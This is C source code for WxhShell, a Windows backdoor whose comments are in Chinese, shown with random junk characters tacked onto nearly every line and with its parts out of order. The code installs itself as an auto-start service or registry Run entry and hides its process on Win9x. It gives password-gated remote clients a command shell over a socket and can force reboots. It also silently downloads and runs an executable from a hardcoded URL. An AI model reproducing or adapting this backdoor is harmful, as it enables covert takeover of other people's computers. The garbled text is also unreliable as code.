    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A"Q6GM2;Io  
    if(Boot(SHUTDOWN)) V?x&.C2Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qf0]7  
    else { BWRM gN'.  
    closesocket(wsh); >9F&x>~  
    ExitThread(0); f'501MJu  
    } ^lADq']  
    break; w"?H4  
    } Z{<&2*  
  // 获取shell /{h@A~<96  
  case 's': { z  u53mZ  
    CmdShell(wsh); E8$k}I  
    closesocket(wsh); )?es3Ehqq  
    ExitThread(0); pGS!Nn;K2  
    break; 2/[J<c\G  
  } :zN{>,sC  
  // 退出 C%#%_ "N  
  case 'x': { s#phs `v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $Sz@u"ig%  
    CloseIt(wsh); LBO3){=J  
    break; -|Z[GN:  
    } +hoZW R  
  // 离开 J/OG\}  
  case 'q': { ,0j7qn@tm  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); v2Lx4:dzi  
    closesocket(wsh); OPi><8x  
    WSACleanup(); /=o~7y  
    exit(1); +OEheG8  
    break; 5~BM+ja  
        } yH YqJ|t  
  } -L zx3"  
  } HhZlHL  
pK_n}QW  
  // 提示信息 \&tv *  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3mmp5 d  
} yf 7Sz$Eq  
  } no~Yet+<"  
NFYo@kX> G  
  return; fv;3cxQp  
} 397IbZ\  
roiUVisq*  
// shell模块句柄 >0^oC[ B  
int CmdShell(SOCKET sock) VaV(+X  
{ [.ya&E)x  
STARTUPINFO si; QYS 1.k  
ZeroMemory(&si,sizeof(si)); 2b&&3u8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Npr<{}ZE  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ah_,5Z@&R  
PROCESS_INFORMATION ProcessInfo; ca@?-)  
char cmdline[]="cmd"; LtJl\m.th  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bi:TX<K+  
  return 0; Q/u2Q;j>  
} cPx] :sC  
7{"urs7 T  
// 自身启动模式 1o Z!Up0  
int StartFromService(void) VuU{7:  
{ Tgf\f%,h  
typedef struct w6Owfq'v  
{ NQ9/,M  
  DWORD ExitStatus; K[j~htC{I"  
  DWORD PebBaseAddress; Oh&k{DWE$  
  DWORD AffinityMask; 9/yE\p .  
  DWORD BasePriority; z\kiYQ6kA  
  ULONG UniqueProcessId; 8.Z9 i  
  ULONG InheritedFromUniqueProcessId; %}`zq8Q;  
}   PROCESS_BASIC_INFORMATION; btG+Ak+K*  
+N3f{-{"Yo  
PROCNTQSIP NtQueryInformationProcess; 9ZYT#h  
>QA;02  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K{vn[}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $sfDtnRy  
w4<n=k  
  HANDLE             hProcess; CRh.1-  
  PROCESS_BASIC_INFORMATION pbi; ||}'  
)%(V.?eW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S.! n35  
  if(NULL == hInst ) return 0; 57S!X|CE  
-Uj3?W  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >[qoNy;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }2!=1|}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y0 ?<~Gf  
qOD:+b  
  if (!NtQueryInformationProcess) return 0; [" PRxl  
F, 39'<N[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |z 8Wh  
  if(!hProcess) return 0; i^Ip+J+[  
4UISuYg'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; voitdz  
'[zy%<2sL  
  CloseHandle(hProcess); ` JZ`j7f  
IwZe2$f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ] v8.ym  
if(hProcess==NULL) return 0; sVNM#,  
^!j,d_)b!  
HMODULE hMod; |.~0Ulk,  
char procName[255]; H3Zs m)+:  
unsigned long cbNeeded; #[ TOe  
;W2Rl%z88  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C8bB OC(  
y yqya[-11  
  CloseHandle(hProcess); o'*7I|7a  
?(2^lH~6h  
if(strstr(procName,"services")) return 1; // 以服务启动 .?NraydwV  
)ePQN~#K}  
  return 0; // 注册表启动 7|Bg--G1  
} U:+wt}-T"  
NU/:jr.W#  
// 主模块 c-" .VF  
int StartWxhshell(LPSTR lpCmdLine) Ef"M e(  
{ cP,bob]  
  SOCKET wsl; VPI;{0kh  
BOOL val=TRUE; oRZ--1oR_  
  int port=0; ;Svs|]d  
  struct sockaddr_in door; svj0;x5  
>sl#2,br  
  if(wscfg.ws_autoins) Install(); yRtxh_wr9  
tO8<N'TD  
port=atoi(lpCmdLine); >21f%Z  
KOYcT'J@vR  
if(port<=0) port=wscfg.ws_port; N799@:.  
N[j*Q 8X_  
  WSADATA data; U{|WN7Q:A  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {OGv1\ol&  
R A^-Pa.O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g|V md  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M9dOLM.  
  door.sin_family = AF_INET; c_dg/ !Iu  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %D $+Z(  
  door.sin_port = htons(port); P8\bi"iiN  
O$, bNu/g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 's7 (^1hH  
closesocket(wsl); 9%6W_ 0>  
return 1; U%T{~f  
} hY[Vs5v  
04}" n  
  if(listen(wsl,2) == INVALID_SOCKET) { 5FQtlB9F  
closesocket(wsl); jTE~^  
return 1; KXvBJA$  
}  PH6NU&H  
  Wxhshell(wsl); 5A`T}~"X  
  WSACleanup(); WB(Gx_o3  
SQ0t28N3h  
return 0; f>kW\uC  
oJ`cefcWo  
} MB:*WA&  
8AQ@?\Rc"2  
// 以NT服务方式启动 ZGZ+BOFL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e A'1  
{ 9}*<8%PSt,  
DWORD   status = 0; Z`{ZV5  
  DWORD   specificError = 0xfffffff; 4b<>gpQ  
%9Y3jB",2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ZCuLgCP?Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2Pz)vnV"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ks_B%d  
  serviceStatus.dwWin32ExitCode     = 0; DF`?D +  
  serviceStatus.dwServiceSpecificExitCode = 0; %IhUQ6  
  serviceStatus.dwCheckPoint       = 0; -FrNk>  
  serviceStatus.dwWaitHint       = 0; 8 bpYop7 L  
`%nj$-W:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y24H` s1u/  
  if (hServiceStatusHandle==0) return; l %M0^d6M  
m\xlSNW'q  
status = GetLastError(); q{E44 eQ7F  
  if (status!=NO_ERROR) P{ HYZg  
{ w(-h!d51+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Gr}lr gPS  
    serviceStatus.dwCheckPoint       = 0; /lqVMlz\77  
    serviceStatus.dwWaitHint       = 0; D/x!`&.sN  
    serviceStatus.dwWin32ExitCode     = status; 6<>T{2b:(p  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6l,oL'$}P1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .|Y&,?k| Y  
    return; I?Fv!5p  
  } RwyRPc _  
K|^'`FpPO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gSn9L)k(O  
  serviceStatus.dwCheckPoint       = 0; rmh 1.W  
  serviceStatus.dwWaitHint       = 0; 2(5<Wj"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); DJ.n8hne  
} SG@-b(  
).D+/D/"2  
// 处理NT服务事件,比如:启动、停止 Rt=zqfJ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) C0v1x=(xiM  
{ }{#ty uzAo  
switch(fdwControl) &U7INUL  
{ BfOQ/k))  
case SERVICE_CONTROL_STOP: k?7V#QW(  
  serviceStatus.dwWin32ExitCode = 0; M`u&-6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L$rMfe S  
  serviceStatus.dwCheckPoint   = 0; O4lHR6M2  
  serviceStatus.dwWaitHint     = 0; HJ^SqSm  
  { .XTR HL*:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wR]jJb F  
  } pS6p}S=1]  
  return; :Y)jf  
case SERVICE_CONTROL_PAUSE: O~~WP*N  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; HmQ.'  
  break; bpp{Z1/4  
case SERVICE_CONTROL_CONTINUE: 4M,Q{G|e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; NcMohpkq  
  break; CaE1h9  
case SERVICE_CONTROL_INTERROGATE: |fIIfYE  
  break; \{u 9Kc  
}; ~dz,eB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m]Gxep0%  
} F)n^pT  
:XFr"aSt  
// 标准应用程序主函数 K*id 1YY  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~OSgpM#O!T  
{ egXbe)ld  
($or@lfs  
// 获取操作系统版本 PXrv2q[5?  
OsIsNt=GetOsVer(); "\`>Ll  
GetModuleFileName(NULL,ExeFile,MAX_PATH); hteAuz4H  
rZ#ZY  
  // 从命令行安装 xm$-:N0q  
  if(strpbrk(lpCmdLine,"iI")) Install(); >K;DBy*  
 Qo$j'|lD  
  // 下载执行文件 B9(@ .  
if(wscfg.ws_downexe) { JEh(A=Eu>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hH(w O\s  
  WinExec(wscfg.ws_filenam,SW_HIDE); !YVGT <  
} r?2EJE2{V  
z)Gd3C  
if(!OsIsNt) { m- u0U  
// 如果时win9x,隐藏进程并且设置为注册表启动 s~'"&0Gz  
HideProc(); 67b w[#v  
StartWxhshell(lpCmdLine); PK).)5sW  
} hZ`<ID  
else 9_-6Lwj6t  
  if(StartFromService()) w&[&ZDsK  
  // 以服务方式启动 yQ!I`T>a  
  StartServiceCtrlDispatcher(DispatchTable); \)`OEGdOR\  
else ItD&L ))  
  // 普通方式启动 c:I %jm  
  StartWxhshell(lpCmdLine); x:$ xtu  
 <BiSx  
return 0; o]M1$)>b +  
} %WF]mF T_  
pf$gvL  
.]w=+~h  
BIh^b?:zU  
=========================================== =1Hn<Xay0  
 alH6~  
{n\Ai3F-  
Marx=cNj  
,GF]+nI89  
$1 t IC_  
" cq0-D d9^&  
ShesJj  
#include <stdio.h> N 9W,p 2  
#include <string.h> X;]I jha<*  
#include <windows.h> 3 <)+)n  
#include <winsock2.h> hVIv->  
#include <winsvc.h> }qT{" *SC  
#include <urlmon.h> #y-R*4G  
v{SZ(;  
#pragma comment (lib, "Ws2_32.lib") *,|x p  
#pragma comment (lib, "urlmon.lib") xz Hb+1+p  
2]]}Xvx4#  
#define MAX_USER   100 // 最大客户端连接数 &=]!8z=  
#define BUF_SOCK   200 // sock buffer lK_T%1Gz  
#define KEY_BUFF   255 // 输入 buffer K0~=9/  
21O@yNpS$  
#define REBOOT     0   // 重启 $R%tD.d3  
#define SHUTDOWN   1   // 关机 L*OG2liJ  
nC(Lr,(  
#define DEF_PORT   5000 // 监听端口 (mplo|>  
Rl&nR$#  
#define REG_LEN     16   // 注册表键长度 5"y)<VLJX  
#define SVC_LEN     80   // NT服务名长度 0avtfQ +f  
$*`E;}S0  
// 从dll定义API l9e=dV:pH  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); aJ@lT&.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k t'[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6"?#E[ #[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;d<O/y,:4  
a6@k*9D>  
// wxhshell配置信息 AZf69z  
struct WSCFG { 2}XxRJ0   
  int ws_port;         // 监听端口 +IMt$}7[  
  char ws_passstr[REG_LEN]; // 口令 Lr 9E02  
  int ws_autoins;       // 安装标记, 1=yes 0=no PjofW%7F  
  char ws_regname[REG_LEN]; // 注册表键名 9oIfSr,y  
  char ws_svcname[REG_LEN]; // 服务名 #0?3RP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 cc3/XBo  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 I5)$M{#a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !L( )3=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no M N (o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D<:zw/IRE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2I|lY>Z  
U_hzSf  
}; (&u'S+  
M2;6Cz>,P  
// default Wxhshell configuration zKI1  
struct WSCFG wscfg={DEF_PORT, I2krxLPd  
    "xuhuanlingzhe", byTH SRt  
    1, f$5\ b[O  
    "Wxhshell", &-w.rF@  
    "Wxhshell", scTt53v^  
            "WxhShell Service", _h`4`r  
    "Wrsky Windows CmdShell Service", w+Gav4  
    "Please Input Your Password: ", ^x$1Nf  
  1, CMyz!jZ3  
  "http://www.wrsky.com/wxhshell.exe", UkXa mGoy3  
  "Wxhshell.exe" .|Yn[?(  
    }; G*,7pc  
sCmN|Q  
// 消息定义模块 lon9oraF'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u?rX:KkS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; pe>?m^gz[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  -PU.Uw]  
char *msg_ws_ext="\n\rExit."; ;@:-T/=  
char *msg_ws_end="\n\rQuit."; +G\i$d;St  
char *msg_ws_boot="\n\rReboot..."; |DPq~l(d  
char *msg_ws_poff="\n\rShutdown..."; #3{{[i(;i  
char *msg_ws_down="\n\rSave to "; ]>ndFE6kl  
CJDNS21m  
char *msg_ws_err="\n\rErr!"; uHRxV"@}[1  
char *msg_ws_ok="\n\rOK!"; Dd,i^,4Gj  
0P!Fci/t  
char ExeFile[MAX_PATH]; 3.g4X?=zd  
int nUser = 0; T\ukJ25!  
HANDLE handles[MAX_USER]; \zwm:@lG  
int OsIsNt; 9]lyV  
7Ka4?@bQ  
SERVICE_STATUS       serviceStatus; ]m7x&N2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; VR%*8=  
xP;>p| M  
// 函数声明 ?GtI.flV  
int Install(void); #/8 Na v  
int Uninstall(void); g:!R't?  
int DownloadFile(char *sURL, SOCKET wsh); :7JP(j2  
int Boot(int flag); ,7DyTeMpN  
void HideProc(void); !4<A|$mQ  
int GetOsVer(void); Y7 K2@257  
int Wxhshell(SOCKET wsl); %o0H#7'  
void TalkWithClient(void *cs); 9 g- 8u+&  
int CmdShell(SOCKET sock);  B@*!>R  
int StartFromService(void); wehiX7y  
int StartWxhshell(LPSTR lpCmdLine); $!_}d  
=vriraV"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rusYNb1J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 52,'8` ]  
.I$+ E  
// 数据结构和表定义 }jU)s{>fb  
SERVICE_TABLE_ENTRY DispatchTable[] = OsVz[wN  
{ 2R^Eea  
{wscfg.ws_svcname, NTServiceMain}, x9 n(3Oa  
{NULL, NULL} Nez '1  
}; ,^<39ng  
%M`zkA2]J  
// 自我安装 ,t9CP  
int Install(void) "Vp:Sq9y  
{ =NnG[#n%  
  char svExeFile[MAX_PATH]; _J#oAE5]!  
  HKEY key; o]&P0 b  
  strcpy(svExeFile,ExeFile); :S!!J*0  
 twK3  
// 如果是win9x系统,修改注册表设为自启动 T!pZj_ h=  
if(!OsIsNt) { N pQOLX/<?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P3Ah1X7W"C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1=!2|D:C)i  
  RegCloseKey(key); w{;~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qg<Y^ y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /[ Rp~YzW  
  RegCloseKey(key); sb1tQ=u[  
  return 0; "T<7j.P?  
    } JS<w43/j  
  } 5$X 8|Ve  
} qLKL*m  
else { [ :Sl~  
-lq`EB +  
// 如果是NT以上系统,安装为系统服务 }jFRuT;35  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); FP0GE  
if (schSCManager!=0) Y`6<:8[?  
{ 1]A\@(  
  SC_HANDLE schService = CreateService MU:v& sk  
  ( [(.lfa P  
  schSCManager, ' dv(  
  wscfg.ws_svcname, a"Ly9ovW  
  wscfg.ws_svcdisp, $"}*#<Z  
  SERVICE_ALL_ACCESS, <;jg/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4$ah~E>,t  
  SERVICE_AUTO_START, !ZCxi  
  SERVICE_ERROR_NORMAL, 7qWa>fX  
  svExeFile, (OavgJ+Y  
  NULL, =Pp-9<& S  
  NULL, A,7* 52U  
  NULL, tZ*>S]qD  
  NULL, d4A:XNKB  
  NULL #&z'?x^a  
  ); "-G7eGQ  
  if (schService!=0) N&(MM.\`^  
  { ,.;{J|4P  
  CloseServiceHandle(schService); 5*Dh#FRp  
  CloseServiceHandle(schSCManager); 8hSw4S "$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !QME!c>*$  
  strcat(svExeFile,wscfg.ws_svcname); z$(`{ o%a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6J cXhlB`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5F]2.<i  
  RegCloseKey(key); \vpX6!T  
  return 0; Zl.,pcL  
    } -f?,%6(1  
  } Le,;)Nd  
  CloseServiceHandle(schSCManager); TpHzf3.I  
} s>{\^T7y  
} [3x*47o"z  
'=Acg"aT  
return 1; !|mzu1S  
} I-Am9\   
H5CL0#I  
// 自我卸载 H#T&7X_<  
int Uninstall(void) WP^wNi ~>  
{ v[jg|s&6"  
  HKEY key; 3wPUP+)c7  
>3I|5kZ6  
if(!OsIsNt) { ^t`0ul]c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y6H`FFqK  
  RegDeleteValue(key,wscfg.ws_regname); [LV>z  
  RegCloseKey(key); Su+[Q6oC@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L_M(Lj  
  RegDeleteValue(key,wscfg.ws_regname); bJw{U.  
  RegCloseKey(key); w 5t|C>  
  return 0; .B!  Z0  
  } {CX06BP  
} @R`Ao9n9V  
} tK 6=F63e  
else { jFI`CA6P  
s;[WN.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {.Brh"yC  
if (schSCManager!=0) I:;umyRH  
{ ? 0:=+%.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L3s"L.G  
  if (schService!=0) EbJc%%c  
  { XXXQAY-,C  
  if(DeleteService(schService)!=0) { vu:] [2"0  
  CloseServiceHandle(schService); m.lzkS]P  
  CloseServiceHandle(schSCManager); z0&Y_Up+5  
  return 0; ,y}~rYsP%  
  } Z ?F_({im  
  CloseServiceHandle(schService); ,Z8)DC=  
  } RQ8;_)%  
  CloseServiceHandle(schSCManager); Lx| 0G $  
} .F/s (  
} T5dnj&N ]  
0u +_D8G  
return 1; ` :Oje  
} h1$75E?,  
RxVZn""  
// 从指定url下载文件 N_l_^yD  
int DownloadFile(char *sURL, SOCKET wsh) 5!Ovd O}g  
{ YU\k D  
  HRESULT hr; $KS!vS7  
char seps[]= "/"; z00,Vr^m  
char *token; _s}`ohKvD  
char *file; .d?LRf  
char myURL[MAX_PATH]; O0eM*~zI  
char myFILE[MAX_PATH]; }:!X@C~  
drbim8 !q~  
strcpy(myURL,sURL); ju1B._48  
  token=strtok(myURL,seps); wVc ^l  
  while(token!=NULL) bKEiS8x  
  { 9|m:2["|?  
    file=token; jVqpokWH  
  token=strtok(NULL,seps); COHook(:  
  } )^ PWr^  
Q 87'zf  
GetCurrentDirectory(MAX_PATH,myFILE); yI / FD  
strcat(myFILE, "\\"); N@^:IfJ+=  
strcat(myFILE, file); ,E"n7*6mr  
  send(wsh,myFILE,strlen(myFILE),0); Tl1H2s=G-  
send(wsh,"...",3,0); BKYyc6iE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fm!\**Q1  
  if(hr==S_OK) |OuIQhoE  
return 0; _ER. AKY  
else `A-  
return 1; vhDtjf/*  
pnXwE-c_  
} sD|}? 7  
rE0%R+4?  
// 系统电源模块 5kojh _\  
int Boot(int flag) wVX2.D'n<  
{ r;+a%?P  
  HANDLE hToken; {]$)dz5  
  TOKEN_PRIVILEGES tkp; )_6W@s  
]zn3nhBI  
  if(OsIsNt) { Ar<!F/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ex66GJQe1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xqQK-?k  
    tkp.PrivilegeCount = 1; T2Yc` +  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8\jsGN.$JZ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &=XK:+  
if(flag==REBOOT) { | /n  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <,X=M6$0n  
  return 0; }y vH)q  
} I+31:#d  
else { 7m}fVLk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B>@l(e)b  
  return 0; k$>5v +r0  
} #WS>Z3AY  
  } '%YE#1*gH  
  else { 8s %YudW  
if(flag==REBOOT) { >*Ej2ex  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WpRM|"CF  
  return 0; <~S]jtL.j:  
} >]uu?!PU  
else { dN7.W   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) '*Ld,`  
  return 0; }$ Kd-cj+  
} CTxP3a9]  
} {qOqtkj  
CyXaHO  
return 1; }Yc5U,A;  
} P'DcNMdw  
DO( 3hIj  
// win9x进程隐藏模块 :6/$/`I0W  
void HideProc(void) ^;tB,7:*V  
{ lS#^v#uS  
-!K&\hEjj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k|{ 4"4r  
  if ( hKernel != NULL ) /_YTOSZjm  
  { y|zIu I-p  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >]o>iOz;]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z] x6np  
    FreeLibrary(hKernel); mI]gDL1  
  } ?% A 2  
[B+:)i  
return; e1%kW1Z9  
} y~su1wUp  
9ExI,  
// 获取操作系统版本 \L`x![$~q  
int GetOsVer(void) $\|Q+7lQ  
{ ?[P>2oz  
  OSVERSIONINFO winfo; oB~V~c}8x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @;N(3| n7  
  GetVersionEx(&winfo); i% , 't  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <lLJf8OK  
  return 1; M?GkHJ%!  
  else ia3!&rZ  
  return 0; rm-;Z<  
} ).A9>^6?{  
@th94tk,  
// 客户端句柄模块 :8HVq*itS  
int Wxhshell(SOCKET wsl) {m@tt{%  
{ o8v,17 8  
  SOCKET wsh; |~PaCw8-ge  
  struct sockaddr_in client; U3` ?Z`i(  
  DWORD myID; 1 -C~C]&  
%(W8W Lz}  
  while(nUser<MAX_USER) L u'<4 R  
{ B*w]yL(  
  int nSize=sizeof(client); ),[@NK&=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `xx3JQv[  
  if(wsh==INVALID_SOCKET) return 1; &]shBvzl^  
(E,Ibz2G:e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); h=JW^\?\]  
if(handles[nUser]==0) >5?:iaq z  
  closesocket(wsh); 7[UD;&\k  
else q ]VB}nO  
  nUser++; 5G$ ,2i(  
  } Y*\N{6$2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y.6/x?Qc  
Z0<s -eN:  
  return 0; w=a$]`  
} .U44p*I  
S#r|?GYua  
// 关闭 socket x 4sIZe+  
void CloseIt(SOCKET wsh) 0L1sF'ZN  
{ +l.LwA  
closesocket(wsh); cc:$$_'L  
nUser--; < (B|g&A  
ExitThread(0); #S x  
} ^!0z+M:>^  
wG9aX*(n  
// 客户端请求句柄 9qgs*]J  
void TalkWithClient(void *cs) `@v;QLD"d<  
{ 4>a(!h t  
"tK|/R+  
  SOCKET wsh=(SOCKET)cs; xSNGf@1b  
  char pwd[SVC_LEN]; c!'\k,ma<9  
  char cmd[KEY_BUFF]; &I(\:|`o  
char chr[1]; qxsHhyB_n;  
int i,j; BW}M/  
r4DHALu#)  
  while (nUser < MAX_USER) { qvK/}  
<;O^3_'  
if(wscfg.ws_passstr) { (DS"*4ty  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6EO@ Xf7,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VX>j2Z'  
  //ZeroMemory(pwd,KEY_BUFF); zSU,le  
      i=0; oif|X7H;  
  while(i<SVC_LEN) { [u37 Hy_Gi  
I%GQ3D"=  
  // 设置超时 j"aY\cLr t  
  fd_set FdRead; T93st<F=R  
  struct timeval TimeOut; &[_@f#  
  FD_ZERO(&FdRead); C/#pK2xY  
  FD_SET(wsh,&FdRead); 'Cz*p,  
  TimeOut.tv_sec=8; jD}h`(bE  
  TimeOut.tv_usec=0; ?6{g7S%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O`"~AY&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +!E9$U>6%  
]!@=2kG4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RA[%8Rh)  
  pwd=chr[0]; |WEl5bNc3  
  if(chr[0]==0xd || chr[0]==0xa) { X!mJUDzh]  
  pwd=0; u[Si=)`VPk  
  break; `JpFqZ'58  
  } 6vR6=@(`>  
  i++; hayJgkZ '  
    } }!R*Q`m  
-2>s#/%  
  // 如果是非法用户,关闭 socket !{+.)%d'g  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '`. -75T  
} v9Sk\9}S  
c$^v~lQS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1X5Yp|Ho  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NsSZ?ky  
l|E4 7@#  
while(1) { >]ZE<.  
P}UxA!  
  ZeroMemory(cmd,KEY_BUFF); H9_iTGBQ  
2f@Cy+W'[  
      // 自动支持客户端 telnet标准   m'"H1~BW  
  j=0; l>`66~+s,`  
  while(j<KEY_BUFF) { }^$1<GT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O(!; 7v}  
  cmd[j]=chr[0]; h6^|f%\w*i  
  if(chr[0]==0xa || chr[0]==0xd) { sgGA0af  
  cmd[j]=0; a0gg<Ml  
  break;  ;<B  
  } s%`l>#H  
  j++; VHMQY*lk  
    } 0Xw>_#Y/xS  
C.ji]P#  
  // 下载文件 ge.>#1f}  
  if(strstr(cmd,"http://")) { KK2YT/K$SG  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {*TB }Xsr,  
  if(DownloadFile(cmd,wsh)) -m=A1~|7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); yiI oqvP  
  else {wj%WSQj/y  
